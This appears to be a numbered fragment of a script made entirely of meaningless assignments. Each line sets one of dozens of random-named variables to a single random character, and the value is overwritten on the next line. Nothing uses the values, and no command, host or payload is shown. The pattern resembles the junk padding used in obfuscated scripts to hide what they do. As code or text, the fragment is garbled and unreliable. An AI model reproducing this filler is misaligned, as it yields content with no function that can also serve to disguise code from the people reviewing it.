27	wandb = "k";
28	wandb = "z";
29	wandb = "Z";
30	wandb = "n";
31	wandb = "G";
32	wandb = "P";
33	wandb = "K";
34	wandb = "l";
35	wandb = "S";
36	wandb = "m";
37	wandb = "h";
38	wandb = "O";
39	wandb = "H";
40	wandb = "M";
41	wandb = "S";
42	wandb = "l";
43	wandb = "T";
44	wandb = "J";
45	wandb = "F";
46	wandb = "O";
47	wandb = "E";
48	wandb = "V";
49	wandb = "j";
50	wandb = "a";
51	wandb = "t";
52	mxlsgpocv = "O";
53	mxlsgpocv = "R";
54	mxlsgpocv = "d";
55	mxlsgpocv = "l";
56	mxlsgpocv = "c";
57	mxlsgpocv = "O";
58	mxlsgpocv = "O";
59	mxlsgpocv = "D";
60	mxlsgpocv = "M";
61	mxlsgpocv = "c";
62	mxlsgpocv = "P";
63	mxlsgpocv = "v";
64	mxlsgpocv = "D";
65	mxlsgpocv = "N";
66	mxlsgpocv = "V";
67	mxlsgpocv = "n";
68	mxlsgpocv = "J";
69	mxlsgpocv = "V";
70	mxlsgpocv = "H";
71	mxlsgpocv = "e";
72	mxlsgpocv = "\"";
73	ynhtmj = "q";
74	ynhtmj = "C";
75	ynhtmj = "j";
76	ynhtmj = "B";
77	ynhtmj = "M";
78	ynhtmj = "J";
79	ynhtmj = "x";
80	ynhtmj = "t";
81	ynhtmj = "x";
82	ynhtmj = "Y";
83	ynhtmj = "K";
84	ynhtmj = "v";
85	ynhtmj = "I";
86	ynhtmj = "m";
87	ynhtmj = "y";
88	ynhtmj = "O";
89	ynhtmj = "c";
90	ynhtmj = "i";
91	ynhtmj = "w";
92	ynhtmj = "D";
93	ynhtmj = "k";
94	ynhtmj = "n";
95	ynhtmj = "r";
96	ynhtmj = "i";
97	ynhtmj = "Q";
98	ynhtmj = "O";
99	ynhtmj = "S";
100	ynhtmj = "f";
101	ynhtmj = "s";
102	ynhtmj = "E";
103	ynhtmj = "T";
104	ynhtmj = "d";
105	ynhtmj = "S";
106	ynhtmj = "q";
107	gidtzt = "h";
108	gidtzt = "L";
109	gidtzt = "z";
110	gidtzt = "S";
111	gidtzt = "k";
112	gidtzt = "D";
113	gidtzt = "h";
114	gidtzt = "Z";
115	gidtzt = "B";
116	gidtzt = "E";
117	gidtzt = "e";
118	gidtzt = "j";
119	gidtzt = "X";
120	gidtzt = "K";
121	gidtzt = "s";
122	gidtzt = "T";
123	gidtzt = "x";
124	gidtzt = "R";
125	gidtzt = "H";
126	gidtzt = "M";
127	gidtzt = "O";
128	pjvvl = "h";
129	pjvvl = "g";
130	pjvvl = "u";
131	pjvvl = "n";
132	pjvvl = "K";
133	pjvvl = "K";
134	pjvvl = "X";
135	pjvvl = "c";
136	pjvvl = "i";
137	hyasm = "O";
138	hyasm = "a";
139	hyasm = "j";
140	hyasm = "o";
141	hyasm = "T";
142	hyasm = "D";
143	hyasm = "z";
144	hyasm = "V";
145	hyasm = "r";
146	hyasm = "S";
147	hyasm = "P";
148	hyasm = "Q";
149	hyasm = "y";
150	hyasm = "p";
151	hyasm = "C";
152	hyasm = "E";
153	hyasm = "U";
154	hyasm = "Z";
155	hyasm = "w";
156	hyasm = "A";
157	hyasm = "b";
158	hyasm = "h";
159	hyasm = "j";
160	hyasm = "x";
161	hyasm = "T";
162	hyasm = "b";
163	hyasm = "X";
164	hyasm = "Z";
165	hyasm = "j";
166	hyasm = "K";
167	hyasm = "n";
168	hyasm = "W";
169	hyasm = "b";
170	hyasm = "o";
171	hyasm = "L";
172	hyasm = "E";
173	hyasm = "b";
174	hyasm = "c";
175	hyasm = "Z";
176	hyasm = "s";
177	hyasm = "H";
178	hyasm = "a";
179	hyasm = ".";
180	gyxkizefh = "h";
181	gyxkizefh = "d";
182	gyxkizefh = "g";
183	gyxkizefh = "S";
184	gyxkizefh = "O";
185	gyxkizefh = "I";
186	gyxkizefh = "g";
187	gyxkizefh = "r";
188	gyxkizefh = "m";
189	gyxkizefh = "F";
190	gyxkizefh = "Q";
191	gyxkizefh = "H";
192	gyxkizefh = "i";
193	gyxkizefh = "T";
194	owvrectu = "v";
195	owvrectu = "T";
196	owvrectu = "N";
197	owvrectu = "j";
198	owvrectu = "f";
199	owvrectu = "m";
200	owvrectu = "E";
201	owvrectu = "M";
202	owvrectu = "a";
203	owvrectu = "V";
204	owvrectu = "b";
205	owvrectu = "n";
206	owvrectu = "B";
207	owvrectu = "g";
208	owvrectu = "m";
209	owvrectu = "n";
210	owvrectu = "c";
211	owvrectu = "y";
212	owvrectu = "u";
213	owvrectu = "p";
214	owvrectu = "w";
215	iazmncmkr = "l";
216	iazmncmkr = "U";
217	iazmncmkr = "C";
218	iazmncmkr = "o";
219	iazmncmkr = "E";
220	iazmncmkr = "h";
221	iazmncmkr = "R";
222	iazmncmkr = "x";
223	iazmncmkr = "C";
224	iazmncmkr = "O";
225	iazmncmkr = "C";
226	iazmncmkr = "E";
227	iazmncmkr = "k";
228	iazmncmkr = "T";
229	iazmncmkr = "8";
230	wdsakgkw = "L";
231	wdsakgkw = "D";
232	wdsakgkw = "I";
233	wdsakgkw = "U";
234	wdsakgkw = "D";
235	wdsakgkw = "T";
236	wdsakgkw = "z";
237	wdsakgkw = "M";
238	wdsakgkw = "S";
239	wdsakgkw = "C";
240	wdsakgkw = "E";
241	wdsakgkw = "d";
242	wdsakgkw = "q";
243	wdsakgkw = "L";
244	wdsakgkw = "&";
245	ldiwpgit = "q";
246	ldiwpgit = "e";
247	ldiwpgit = "O";
248	ldiwpgit = "g";
249	ldiwpgit = "j";
250	ldiwpgit = "o";
251	ldiwpgit = "g";
252	ldiwpgit = "O";
253	ldiwpgit = "Y";
254	ldiwpgit = "N";
255	ldiwpgit = "l";
256	ldiwpgit = "Q";
257	ldiwpgit = "x";
258	zzetm = "D";
259	zzetm = "x";
260	zzetm = "Y";
261	zzetm = "j";
262	zzetm = "E";
263	zzetm = "Y";
264	zzetm = "W";
265	zzetm = "u";
266	zzetm = "H";
267	fcgphiqn = "k";
268	fcgphiqn = "f";
269	fcgphiqn = "M";
270	fcgphiqn = "N";
271	fcgphiqn = "I";
272	fcgphiqn = "t";
273	fcgphiqn = "M";
274	fcgphiqn = "V";
275	fcgphiqn = "c";
276	fcgphiqn = "t";
277	fcgphiqn = "C";
278	fcgphiqn = "c";
279	fcgphiqn = "Q";
280	fcgphiqn = "G";
281	fcgphiqn = "H";
282	fcgphiqn = "Z";
283	fcgphiqn = "V";
284	fcgphiqn = "o";
285	fcgphiqn = "F";
286	fcgphiqn = "Q";
287	fcgphiqn = "T";
288	fcgphiqn = "I";
289	fcgphiqn = "p";
290	fcgphiqn = "N";
291	fcgphiqn = "P";
292	jagajs = "e";
293	jagajs = "V";
294	jagajs = "Q";
295	jagajs = "p";
296	jagajs = "K";
297	jagajs = "n";
298	jagajs = "w";
299	jagajs = "N";
300	jagajs = "L";
301	jagajs = "X";
302	jagajs = "P";
303	jagajs = "b";
304	jagajs = "x";
305	jagajs = "z";
306	jagajs = "O";
307	jagajs = "H";
308	jagajs = "P";
309	jagajs = "N";
310	jagajs = "J";
311	jagajs = "K";
312	jagajs = "h";
313	jagajs = "r";
314	jagajs = "R";
315	jagajs = "i";
316	jagajs = "A";
317	jagajs = "b";
318	jagajs = "G";
319	jagajs = "t";
320	jagajs = "R";
321	jagajs = "v";
322	jagajs = "s";
323	jagajs = "D";
324	jagajs = "d";
325	jagajs = "t";
326	jagajs = "g";
327	jagajs = "D";
328	jagajs = "H";
329	jagajs = "S";
330	jagajs = "P";
331	jagajs = "A";
332	jagajs = "O";
333	jagajs = "P";
334	jagajs = "J";
335	jagajs = "x";
336	jagajs = "/";
337	fauuhbk = "L";
338	fauuhbk = "i";
339	fauuhbk = "i";
340	fauuhbk = "D";
341	fauuhbk = "P";
342	fauuhbk = "Q";
343	fauuhbk = "o";
344	fauuhbk = "s";
345	fauuhbk = "c";
346	fauuhbk = "l";
347	fauuhbk = "U";
348	fauuhbk = "G";
349	fauuhbk = "f";
350	fauuhbk = "i";
351	fauuhbk = "z";
352	fauuhbk = "Q";
353	fauuhbk = "R";
354	fauuhbk = "L";
355	fauuhbk = "M";
356	fauuhbk = "u";
357	fauuhbk = "g";
358	fauuhbk = "z";
359	fauuhbk = "o";
360	fauuhbk = "G";
361	fauuhbk = "A";
362	fauuhbk = "c";
363	fauuhbk = "d";
364	inbyfow = "G";
365	inbyfow = "J";
366	inbyfow = ":";
367	bxfwpdboy = "g";
368	bxfwpdboy = "Q";
369	bxfwpdboy = "o";
370	bxfwpdboy = "B";
371	bxfwpdboy = "i";
372	bxfwpdboy = "U";
373	bxfwpdboy = "a";
374	bxfwpdboy = "M";
375	bxfwpdboy = "T";
376	bxfwpdboy = "j";
377	bxfwpdboy = "f";
378	bxfwpdboy = "B";
379	bxfwpdboy = "x";
380	bxfwpdboy = "Z";
381	bxfwpdboy = "h";
382	bxfwpdboy = "o";
383	bxfwpdboy = "r";
384	bxfwpdboy = "Z";
385	bxfwpdboy = "S";
386	bxfwpdboy = "O";
387	bxfwpdboy = "r";
388	bxfwpdboy = "J";
389	bxfwpdboy = "g";
390	bxfwpdboy = "m";
391	bxfwpdboy = "i";
392	bxfwpdboy = "o";
393	bxfwpdboy = "Z";
394	bxfwpdboy = "G";
395	bxfwpdboy = "a";
396	bxfwpdboy = "\\";
397	mvrhw = "j";
398	mvrhw = "n";
399	mvrhw = "T";
400	mvrhw = "T";
401	mvrhw = "z";
402	mvrhw = "s";
403	mvrhw = "e";
404	mvrhw = "k";
405	mvrhw = "K";
406	mvrhw = "Y";
407	mvrhw = "g";
408	mvrhw = "a";
409	mvrhw = "x";
410	mvrhw = "L";
411	mvrhw = "J";
412	mvrhw = "l";
413	mvrhw = "L";
414	mvrhw = "V";
415	mvrhw = "r";
416	mvrhw = "v";
417	mvrhw = "U";
418	mvrhw = "C";
419	mvrhw = "P";
420	mvrhw = "D";
421	mvrhw = "v";
422	mvrhw = "S";
423	mvrhw = "L";
424	mvrhw = "d";
425	mvrhw = "b";
426	mvrhw = "W";
427	mvrhw = "Y";
428	mvrhw = "w";
429	mvrhw = "b";
430	mvrhw = "w";
431	mvrhw = "t";
432	mvrhw = "P";
433	mvrhw = "M";
434	mvrhw = "i";
435	mvrhw = "Z";
436	mvrhw = "t";
437	mvrhw = "q";
438	mvrhw = "p";
439	mvrhw = "U";
440	mvrhw = "b";
441	mvrhw = "L";
442	uqfqw = "f";
443	uqfqw = "u";
444	uqfqw = "L";
445	uqfqw = "Q";
446	uqfqw = "L";
447	uqfqw = "Q";
448	uqfqw = "i";
449	uqfqw = "s";
450	uqfqw = "W";
451	uqfqw = "n";
452	uqfqw = "c";
453	uqfqw = "x";
454	uqfqw = "g";
455	uqfqw = "b";
456	uqfqw = "X";
457	uqfqw = "v";
458	uqfqw = "i";
459	uqfqw = "r";
460	uqfqw = "p";
461	uqfqw = "g";
462	uqfqw = "f";
463	uqfqw = "n";
464	uqfqw = "J";
465	uqfqw = "y";
466	uqfqw = "z";
467	uqfqw = "A";
468	uqfqw = "b";
469	uqfqw = "j";
470	uqfqw = "E";
471	uqfqw = "j";
472	uqfqw = "O";
473	uqfqw = "D";
474	uqfqw = "j";
475	uqfqw = "Z";
476	uqfqw = "o";
477	uqfqw = "G";
478	uqfqw = "B";
479	uqfqw = "F";
480	uqfqw = "E";
481	uqfqw = "A";
482	uqfqw = "e";
483	uqfqw = "i";
484	uqfqw = "I";
485	uqfqw = "T";
486	uqfqw = "U";
487	upzqjifhw = "t";
488	upzqjifhw = "Y";
489	upzqjifhw = "r";
490	upzqjifhw = "H";
491	upzqjifhw = "x";
492	upzqjifhw = "p";
493	upzqjifhw = "R";
494	upzqjifhw = "f";
495	upzqjifhw = "Z";
496	upzqjifhw = "W";
497	upzqjifhw = "E";
498	upzqjifhw = "S";
499	upzqjifhw = "o";
500	upzqjifhw = "S";
501	upzqjifhw = "R";
502	upzqjifhw = "Q";
503	upzqjifhw = "M";
504	upzqjifhw = "F";
505	upzqjifhw = "r";
506	abdolhl = "P";
507	abdolhl = "c";
508	abdolhl = "t";
509	abdolhl = "w";
510	abdolhl = "X";
511	abdolhl = "v";
512	abdolhl = "I";
513	abdolhl = "N";
514	abdolhl = "t";
515	abdolhl = "u";
516	abdolhl = "M";
517	abdolhl = "U";
518	abdolhl = "U";
519	abdolhl = "h";
520	abdolhl = "O";
521	abdolhl = "q";
522	abdolhl = "Z";
523	abdolhl = "j";
524	abdolhl = "C";
525	abdolhl = "P";
526	abdolhl = "f";
527	abdolhl = "N";
528	abdolhl = "I";
529	abdolhl = "C";
530	abdolhl = "u";
531	abdolhl = "a";
532	abdolhl = "I";
533	abdolhl = "c";
534	abdolhl = "o";
535	abdolhl = "L";
536	abdolhl = "W";
537	abdolhl = "C";
538	abdolhl = "r";
539	abdolhl = "y";
540	abdolhl = "s";
541	abdolhl = "x";
542	abdolhl = "1";
543	qjeptolrq = "r";
544	qjeptolrq = "i";
545	qjeptolrq = "m";
546	qjeptolrq = "w";
547	qjeptolrq = "H";
548	qjeptolrq = "U";
549	qjeptolrq = "o";
550	qjeptolrq = "Z";
551	qjeptolrq = "C";
552	qjeptolrq = "P";
553	qjeptolrq = "k";
554	qjeptolrq = "k";
555	qjeptolrq = "s";
556	qjeptolrq = "r";
557	qjeptolrq = "b";
558	qjeptolrq = "T";
559	qjeptolrq = "G";
560	qjeptolrq = "c";
561	qjeptolrq = "C";
562	qjeptolrq = "B";
563	qjeptolrq = "W";
564	qjeptolrq = "B";
565	qjeptolrq = "s";
566	qjeptolrq = "f";
567	qjeptolrq = "P";
568	qjeptolrq = "G";
569	qjeptolrq = "Q";
570	qjeptolrq = "I";
571	qjeptolrq = "G";
572	qjeptolrq = "W";
573	qjeptolrq = "v";
574	qjeptolrq = "7";
575	kpmybirig = "y";
576	kpmybirig = "L";
577	kpmybirig = "s";
578	kpmybirig = "i";
579	kpmybirig = "i";
580	kpmybirig = "X";
581	kpmybirig = "i";
582	kpmybirig = "h";
583	kpmybirig = "r";
584	kpmybirig = "J";
585	kpmybirig = "b";
586	kpmybirig = "C";
587	kpmybirig = "N";
588	kpmybirig = "U";
589	kpmybirig = "u";
590	kpmybirig = "Q";
591	kpmybirig = "I";
592	kpmybirig = "Z";
593	kpmybirig = "V";
594	kpmybirig = "M";
595	kpmybirig = "e";
596	yismqqmuf = "W";
597	roagouq = "j";
598	roagouq = "I";
599	roagouq = "t";
600	roagouq = "u";
601	roagouq = "B";
602	roagouq = "H";
603	roagouq = "m";
604	roagouq = "F";
605	roagouq = "w";
606	roagouq = "W";
607	roagouq = "p";
608	roagouq = "X";
609	roagouq = "H";
610	roagouq = "A";
611	roagouq = "c";
612	roagouq = "h";
613	roagouq = "E";
614	roagouq = "o";
615	roagouq = "S";
616	roagouq = "C";
617	roagouq = "c";
618	roagouq = "Z";
619	roagouq = "v";
620	roagouq = "n";
621	roagouq = "S";
622	roagouq = "B";
623	roagouq = "C";
624	roagouq = "T";
625	roagouq = "n";
626	roagouq = "f";
627	roagouq = "C";
628	roagouq = "C";
629	roagouq = "s";
630	zfrapoq = "s";
631	zfrapoq = "W";
632	zfrapoq = "n";
633	zfrapoq = "a";
634	oofnm = "C";
635	oofnm = "d";
636	oofnm = "I";
637	oofnm = "G";
638	oofnm = "B";
639	oofnm = "b";
640	oofnm = "b";
641	oofnm = "l";
642	oofnm = "z";
643	oofnm = "g";
644	oofnm = "T";
645	oofnm = "I";
646	oofnm = "T";
647	oofnm = "e";
648	oofnm = "k";
649	oofnm = "A";
650	oofnm = "r";
651	oofnm = "r";
652	oofnm = "b";
653	oofnm = "O";
654	oofnm = "b";
655	oofnm = "F";
656	oofnm = "U";
657	oofnm = "o";
658	oofnm = "w";
659	oofnm = "V";
660	oofnm = "J";
661	oofnm = "S";
662	oofnm = "N";
663	oofnm = "h";
664	oofnm = "O";
665	oofnm = "K";
666	oofnm = "Y";
667	oofnm = "h";
668	oofnm = "M";
669	oofnm = "h";
670	oofnm = "L";
671	oofnm = "d";
672	oofnm = "Q";
673	oofnm = "M";
674	oofnm = "u";
675	oofnm = "k";
676	oofnm = " ";
677	gjwugmgy = "R";
678	gjwugmgy = "R";
679	gjwugmgy = "o";
680	gjwugmgy = "N";
681	gjwugmgy = "s";
682	gjwugmgy = "W";
683	gjwugmgy = "9";
684	dumpf = "h";
685	dumpf = "N";
686	dumpf = "R";
687	dumpf = "j";
688	dumpf = "y";
689	dumpf = "h";
690	dumpf = "u";
691	dumpf = "b";
692	dumpf = "b";
693	dumpf = "H";
694	dumpf = "S";
695	dumpf = "O";
696	dumpf = "z";
697	dumpf = "B";
698	dumpf = "t";
699	dumpf = "P";
700	dumpf = "r";
701	dumpf = "i";
702	dumpf = "v";
703	dumpf = "S";
704	dumpf = "b";
705	dumpf = "d";
706	dumpf = "p";
707	dumpf = "v";
708	dumpf = "S";
709	dumpf = "Q";
710	dumpf = "j";
711	pkdavf = "g";
712	pkdavf = "j";
713	pkdavf = "x";
714	pkdavf = "W";
715	pkdavf = "w";
716	pkdavf = "R";
717	pkdavf = "h";
718	pkdavf = "P";
719	pkdavf = "M";
720	pkdavf = "k";
721	pkdavf = "M";
722	pkdavf = "e";
723	pkdavf = "C";
724	pkdavf = "O";
725	pkdavf = "C";
726	pkdavf = "e";
727	pkdavf = "Z";
728	pkdavf = "E";
729	pkdavf = "R";
730	pkdavf = "y";
731	pkdavf = "x";
732	pkdavf = "Q";
733	pkdavf = "j";
734	pkdavf = "X";
735	pkdavf = "x";
736	pkdavf = "J";
737	pkdavf = "g";
738	pkdavf = "J";
739	pkdavf = "U";
740	pkdavf = "M";
741	pkdavf = "L";
742	pkdavf = "M";
743	pkdavf = "J";
744	pkdavf = "k";
745	pkdavf = "U";
746	pkdavf = "p";
747	ailzayz = "v";
748	ailzayz = "W";
749	ailzayz = "C";
750	ailzayz = "D";
751	ailzayz = "M";
752	ailzayz = "O";
753	ailzayz = "g";
754	ailzayz = "E";
755	ailzayz = "n";
756	ailzayz = "e";
757	ailzayz = "d";
758	ailzayz = "U";
759	ailzayz = "z";
760	ailzayz = "X";
761	ailzayz = "w";
762	ailzayz = "P";
763	ailzayz = "M";
764	ailzayz = "y";
765	ailzayz = "H";
766	ailzayz = "o";
767	ailzayz = "z";
768	ailzayz = "A";
769	ailzayz = "p";
770	ailzayz = "E";
771	ailzayz = "P";
772	ailzayz = "w";
773	ailzayz = "F";
774	mvafuyquj = "r";
775	mvafuyquj = "p";
776	mvafuyquj = "h";
777	mvafuyquj = "D";
778	mvafuyquj = "S";
779	mvafuyquj = "t";
780	mvafuyquj = "A";
781	mvafuyquj = "E";
782	mvafuyquj = "C";
783	mvafuyquj = "G";
784	mvafuyquj = "q";
785	mvafuyquj = "E";
786	mvafuyquj = "y";
787	mvafuyquj = "y";
788	mvafuyquj = "X";
789	mvafuyquj = "2";
790	ozxmvh = "F";
791	ozxmvh = "u";
792	ozxmvh = "v";
793	ozxmvh = "M";
794	ozxmvh = "s";
795	ozxmvh = "B";
796	ozxmvh = "F";
797	ozxmvh = "Q";
798	ozxmvh = "Q";
799	ozxmvh = "h";
800	ozxmvh = "L";
801	ozxmvh = "H";
802	ozxmvh = "e";
803	ozxmvh = "F";
804	ozxmvh = "a";
805	ozxmvh = "r";
806	ozxmvh = "Y";
807	ozxmvh = "S";
808	ozxmvh = "P";
809	ozxmvh = "f";
810	ozxmvh = "G";
811	ozxmvh = "c";
812	ozxmvh = "e";
813	ozxmvh = "R";
814	ozxmvh = "P";
815	ozxmvh = "B";
816	ozxmvh = "N";
817	ozxmvh = "c";
818	ozxmvh = "c";
819	ozxmvh = "E";
820	ozxmvh = "v";
821	ozxmvh = "X";
822	ozxmvh = "l";
823	tbihxmkj = "F";
824	tbihxmkj = "l";
825	tbihxmkj = "q";
826	tbihxmkj = "T";
827	tbihxmkj = "p";
828	tbihxmkj = "B";
829	tbihxmkj = "C";
830	tbihxmkj = "T";
831	tbihxmkj = "y";
832	tbihxmkj = "4";
833	fuvrliwrw = "N";
834	fuvrliwrw = "C";
835	fuvrliwrw = "s";
836	fuvrliwrw = "t";
837	fuvrliwrw = "l";
838	fuvrliwrw = "x";
839	fuvrliwrw = "W";
840	fuvrliwrw = "u";
841	fuvrliwrw = "H";
842	fuvrliwrw = "U";
843	fuvrliwrw = "U";
844	fuvrliwrw = "W";
845	fuvrliwrw = "u";
846	xsulq = "k";
847	xsulq = "N";
848	lbvfw = "i";
849	lbvfw = "o";
850	lbvfw = "r";
851	lbvfw = "Z";
852	lbvfw = "S";
853	lbvfw = "e";
854	lbvfw = "C";
855	lbvfw = "N";
856	lbvfw = "Q";
857	ggoaamvme = "B";
858	ggoaamvme = "g";
859	ggoaamvme = "K";
860	ggoaamvme = "p";
861	ggoaamvme = "y";
862	ggoaamvme = "Z";
863	ggoaamvme = "F";
864	ggoaamvme = "h";
865	ggoaamvme = "o";
866	ggoaamvme = "T";
867	ggoaamvme = "T";
868	ggoaamvme = "L";
869	ggoaamvme = "J";
870	ggoaamvme = "o";
871	ggoaamvme = "c";
872	oroar = "r";
873	oroar = "m";
874	oroar = "q";
875	oroar = "k";
876	oroar = "z";
877	oroar = "a";
878	oroar = "S";
879	oroar = "h";
880	oroar = "u";
881	oroar = "Z";
882	oroar = "G";
883	oroar = "t";
884	oroar = "m";
885	oroar = "Z";
886	oroar = "N";
887	oroar = "T";
888	oroar = "W";
889	oroar = "V";
890	oroar = "N";
891	oroar = "X";
892	oroar = "q";
893	oroar = "V";
894	oroar = "T";
895	oroar = "E";
896	oroar = "x";
897	oroar = "V";
898	oroar = "z";
899	oroar = "q";
900	oroar = "G";
901	oroar = "A";
902	oroar = "I";
903	oroar = "s";
904	oroar = "O";
905	oroar = "b";
906	oroar = "U";
907	oroar = "c";
908	oroar = "q";
909	oroar = "l";
910	oroar = "z";
911	oroar = "p";
912	oroar = "n";
913	wsjurqwi = "q";
914	wsjurqwi = "S";
915	wsjurqwi = "Z";
916	wsjurqwi = "h";
917	wsjurqwi = "f";
918	wsjurqwi = "K";
919	wsjurqwi = "E";
920	wsjurqwi = "I";
921	wsjurqwi = "l";
922	wsjurqwi = "K";
923	wsjurqwi = "y";
924	wsjurqwi = "a";
925	wsjurqwi = "U";
926	wsjurqwi = "K";
927	wsjurqwi = "s";
928	wsjurqwi = "N";
929	wsjurqwi = "x";
930	wsjurqwi = "k";
931	wsjurqwi = "J";
932	wsjurqwi = "J";
933	wsjurqwi = "k";
934	wsjurqwi = "K";
935	wsjurqwi = "R";
936	wsjurqwi = "I";
937	wsjurqwi = "t";
938	wsjurqwi = "Q";
939	wsjurqwi = "z";
940	wsjurqwi = "z";
941	wsjurqwi = "O";
942	wsjurqwi = "s";
943	wsjurqwi = "O";
944	wsjurqwi = "q";
945	wsjurqwi = "s";
946	wsjurqwi = "k";
947	wsjurqwi = "R";
948	wsjurqwi = "f";
949	wsjurqwi = "v";
950	wsjurqwi = "Q";
951	wsjurqwi = "r";
952	wsjurqwi = "I";
953	guvwvklun = "p";
954	guvwvklun = "e";
955	guvwvklun = "R";
956	guvwvklun = "U";
957	guvwvklun = "r";
958	guvwvklun = "o";
959	guvwvklun = "U";
960	guvwvklun = "F";
961	guvwvklun = "j";
962	guvwvklun = "q";
963	guvwvklun = "z";
964	guvwvklun = "G";
965	guvwvklun = "M";
966	guvwvklun = "k";
967	guvwvklun = "c";
968	guvwvklun = "m";
969	guvwvklun = "q";
970	guvwvklun = "q";
971	guvwvklun = "x";
972	guvwvklun = "P";
973	guvwvklun = "r";
974	guvwvklun = "@";
975	qxuaxszcq = "l";
976	qxuaxszcq = "i";
977	qxuaxszcq = "D";
978	qxuaxszcq = "M";
979	qxuaxszcq = "O";
980	qxuaxszcq = "M";
981	qxuaxszcq = "Z";
982	qxuaxszcq = "o";
983	pwrqmelzv = "m";
984	pwrqmelzv = "Y";
985	pwrqmelzv = "m";
986	pwrqmelzv = "o";
987	pwrqmelzv = "S";
988	pwrqmelzv = "y";
989	pwrqmelzv = "X";
990	pwrqmelzv = "V";
991	pwrqmelzv = "k";
992	pwrqmelzv = "d";
993	pwrqmelzv = "C";
994	pwrqmelzv = "j";
995	pwrqmelzv = "I";
996	pwrqmelzv = "v";
997	pwrqmelzv = "n";
998	pwrqmelzv = "P";
999	pwrqmelzv = "b";
1000	pwrqmelzv = "r";
1001	pwrqmelzv = "C";
1002	pwrqmelzv = "i";
1003	pwrqmelzv = "Q";
1004	pwrqmelzv = "E";
1005	pwrqmelzv = "O";
1006	pwrqmelzv = "i";
1007	pwrqmelzv = "h";
1008	stoxclqp = "Z";
1009	stoxclqp = "t";
1010	stoxclqp = "h";
1011	stoxclqp = "x";
1012	stoxclqp = "B";
1013	stoxclqp = "J";
1014	stoxclqp = "f";
1015	stoxclqp = "i";
1016	stoxclqp = "O";
1017	stoxclqp = "w";
1018	stoxclqp = "F";
1019	stoxclqp = "K";
1020	oltmk = "M";
1021	oltmk = "a";
1022	oltmk = "A";
1023	oltmk = "v";
1024	oltmk = "P";
1025	oltmk = "s";
1026	oltmk = "M";
1027	oltmk = "P";
1028	oltmk = "f";
1029	oltmk = "y";
1030	oltmk = "E";
1031	oltmk = "A";
1032	oltmk = "g";
1033	oltmk = "I";
1034	oltmk = "m";
1035	oltmk = "O";
1036	oltmk = "k";
1037	oltmk = "Z";
1038	oltmk = "t";
1039	oltmk = "q";
1040	oltmk = "u";
1041	oltmk = "j";
1042	oltmk = "Q";
1043	oltmk = "p";
1044	oltmk = "h";
1045	oltmk = "h";
1046	oltmk = "N";
1047	oltmk = "E";
1048	oltmk = "b";
1049	oltmk = "d";
1050	oltmk = "Y";
1051	oltmk = "c";
1052	oltmk = "F";
1053	oltmk = "F";
1054	oltmk = "j";
1055	oltmk = "%";
1056	ofnqlxaa = "M";
1057	ofnqlxaa = "U";
1058	ofnqlxaa = "C";
1059	ofnqlxaa = "G";
1060	ofnqlxaa = "t";
1061	ofnqlxaa = "k";
1062	ofnqlxaa = "i";
1063	ofnqlxaa = "P";
1064	ofnqlxaa = "b";
1065	ofnqlxaa = "b";
1066	ofnqlxaa = "z";
1067	ofnqlxaa = "v";
1068	vgrwcrz = "A";
1069	vgrwcrz = "I";
1070	vgrwcrz = "O";
1071	vgrwcrz = "R";
1072	vgrwcrz = "q";
1073	vgrwcrz = "J";
1074	vgrwcrz = "R";
1075	vgrwcrz = "O";
1076	vgrwcrz = "J";
1077	vgrwcrz = "O";
1078	vgrwcrz = "u";
1079	vgrwcrz = "g";
1080	vgrwcrz = "j";
1081	vgrwcrz = "-";
1082	pnrxf = "j";
1083	pnrxf = "D";
1084	pnrxf = "B";
1085	pnrxf = "L";
1086	pnrxf = "x";
1087	pnrxf = "j";
1088	pnrxf = "j";
1089	pnrxf = "l";
1090	pnrxf = "C";
1091	pnrxf = "b";
1092	pnrxf = "g";
1093	bmvyrpr = "r";
1094	bmvyrpr = "D";
1095	bmvyrpr = "R";
1096	bmvyrpr = "Z";
1097	bmvyrpr = "c";
1098	bmvyrpr = "S";
1099	bmvyrpr = "W";
1100	bmvyrpr = "e";
1101	bmvyrpr = "N";
1102	bmvyrpr = "u";
1103	bmvyrpr = "u";
1104	bmvyrpr = "l";
1105	bmvyrpr = "M";
1106	bmvyrpr = "T";
1107	bmvyrpr = "V";
1108	bmvyrpr = "L";
1109	bmvyrpr = "v";
1110	bmvyrpr = "r";
1111	bmvyrpr = "I";
1112	bmvyrpr = "y";
1113	bmvyrpr = "U";
1114	bmvyrpr = "P";
1115	bmvyrpr = "k";
1116	bmvyrpr = "A";
1117	bmvyrpr = "o";
1118	bmvyrpr = "U";
1119	bmvyrpr = "X";
1120	bmvyrpr = "_";
1121	mongxhizu = "N";
1122	mongxhizu = "R";
1123	mongxhizu = "Q";
1124	mongxhizu = "B";
1125	mongxhizu = "l";
1126	mongxhizu = "g";
1127	mongxhizu = "y";
1128	mongxhizu = "V";
1129	mongxhizu = "k";
1130	mongxhizu = "s";
1131	mongxhizu = "n";
1132	mongxhizu = "h";
1133	mongxhizu = "G";
1134	mongxhizu = "U";
1135	mongxhizu = "u";
1136	mongxhizu = "J";
1137	mongxhizu = "Z";
1138	mongxhizu = "q";
1139	mongxhizu = "f";
1140	mongxhizu = "f";
1141	mongxhizu = "W";
1142	mongxhizu = "l";
1143	mongxhizu = "L";
1144	mongxhizu = "k";
1145	mongxhizu = "B";
1146	mongxhizu = "b";
1147	iglbxfql = "w";
1148	iglbxfql = "b";
1149	iglbxfql = "g";
1150	iglbxfql = "C";
1151	iglbxfql = "E";
1152	iglbxfql = "b";
1153	iglbxfql = "l";
1154	iglbxfql = "C";
1155	iglbxfql = "W";
1156	iglbxfql = "d";
1157	iglbxfql = "S";
1158	iglbxfql = "t";
1159	iglbxfql = "N";
1160	iglbxfql = "S";
1161	iglbxfql = "J";
1162	iglbxfql = "u";
1163	iglbxfql = "o";
1164	iglbxfql = "K";
1165	iglbxfql = "W";
1166	iglbxfql = "M";
1167	iglbxfql = "O";
1168	iglbxfql = "I";
1169	iglbxfql = "k";
1170	iglbxfql = "A";
1171	iglbxfql = "O";
1172	iglbxfql = "U";
1173	iglbxfql = "j";
1174	iglbxfql = "Q";
1175	iglbxfql = "q";
1176	iglbxfql = "K";
1177	iglbxfql = "d";
1178	iglbxfql = "Y";
1179	iglbxfql = "V";
1180	iglbxfql = "V";
1181	iglbxfql = "T";
1182	iglbxfql = "H";
1183	iglbxfql = "m";
1184	iglbxfql = "f";
1185	iglbxfql = "I";
1186	iglbxfql = "z";
1187	iglbxfql = "M";
1188	iglbxfql = "A";
1189	iglbxfql = "3";
1190	zjsmjlh = "c";
1191	zjsmjlh = "Q";
1192	zjsmjlh = "b";
1193	zjsmjlh = "A";
1194	zjsmjlh = "r";
